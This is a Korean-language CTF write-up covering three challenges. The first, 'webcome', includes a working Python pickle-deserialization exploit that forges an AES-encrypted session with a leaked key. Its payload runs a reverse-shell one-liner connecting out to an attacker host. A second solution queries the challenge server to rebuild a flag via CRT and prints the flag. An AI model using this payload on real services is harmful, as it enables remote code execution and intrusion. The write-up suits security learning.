webcome

app.py:57

info = pickle.loads(decrypt(base64.b64decode(vsession)))

해당 부분에서 pickle deserialize 취약점이 발생합니다. app.py:60 에서 response 시 AES_KEY를 포함합니다. 따라서 로컬에서 pickle 구문을 만들 수 있습니다.

import os, pickle, base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

AES_KEY = "36f6d9a966c4478c73af4fde2f813212"

INFO = ['name', 'userid', 'password']

def encrypt(data):
    cipher = AES.new(AES_KEY.encode(), AES.MODE_ECB)
    return cipher.encrypt(pad(data, AES.block_size))

def decrypt(data):
    cipher = AES.new(AES_KEY.encode(), AES.MODE_ECB)
    return unpad(cipher.decrypt(data), AES.block_size)

INFO = ['name', 'userid', 'password']

info = {}
class exploit():
  def __reduce__(self):
    return (os.popen,(''' export RHOST="[IP]";export RPORT=9001;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")' ''', ))

data = base64.b64encode(encrypt(pickle.dumps(exploit()))).decode('utf8')
print("ENCODED : ", data)

위 코드는 reverse shell을 실행하기 위한 페이로드를 생성하는 코드입니다. 서버의 암호화 과정을 똑같이 수행합니. 위 코드를 실행하면 직렬화와 AES 암호화 과정을 거친 base64가 하나 나오는데, 해당 Base64를 서버의 /check_vsession 엔드포인트로 보내면 reverse shell이 열립니다. reverse shell 이 열리면 플래그를 읽으면 됩니다.

Screenshot 2024-08-09 at 10.13.06 PM.png


flagcut

문제 코드는 아래와 같습니다.

assert len(flag := open('flag', 'rb').read()) == 28
assert (mod := int(input())) < 200
print(int.from_bytes(flag, 'big') % mod)

200이 넘지 않는 소수들을 보내서 돌아오는 값들을 모으면 됩니다.

import socket
from sympy.ntheory.modular import crt

def connect(host, port, mod):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        s.sendall(f"{mod}\\n".encode())
        response = s.recv(1024).decode().strip()
        return int(response)

host = '211.229.232.101'
port = 22111
moduli = [5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197]  # Several primes < 200
remainders = []
for mod in moduli:
    remainder = connect(host, port, mod)
    remainders.append(remainder)
    print(f"Modulus: {mod}, Remainder: {remainder}")
flag_int = crt(moduli, remainders)[0]
flag_bytes = flag_int.to_bytes(28, 'big')
flag = flag_bytes.decode()
print(f"Flag: {flag}")

Screenshot 2024-08-12 at 2.27.51 AM.png

YISF{cutcutcut_flagflagfalg}


phoneTICgrief

더블 포네틱 코드를 S로 치환한 암호입니다. S → Sierra → Sierra India Echo Romeo Romeo Alpha → SSSSSS SSSSS SSSS SSSSS SSSSS SSSSS

문제에서 제공하는 포네틱은 아래와 같습니다.

{
    "A": "Alfa", "B": "Bravo", "C": "Charlie", "D": "Delta", "E": "Echo",
    "F": "Foxtrot", "G": "Golf", "H": "Hotel", "I": "India", "J": "Juliett",
    "K": "Kilo", "L": "Linux", "M": "Mike", "N": "November", "O": "Oscar",
    "P": "Papa", "Q": "Quebec", "R": "Romeo", "S": "Sierra", "T": "Tango",
    "U": "Uniform", "V": "Victor", "W": "Whiskey", "X": "Xray", "Y": "Yankee",
    "Z": "Zulu"
}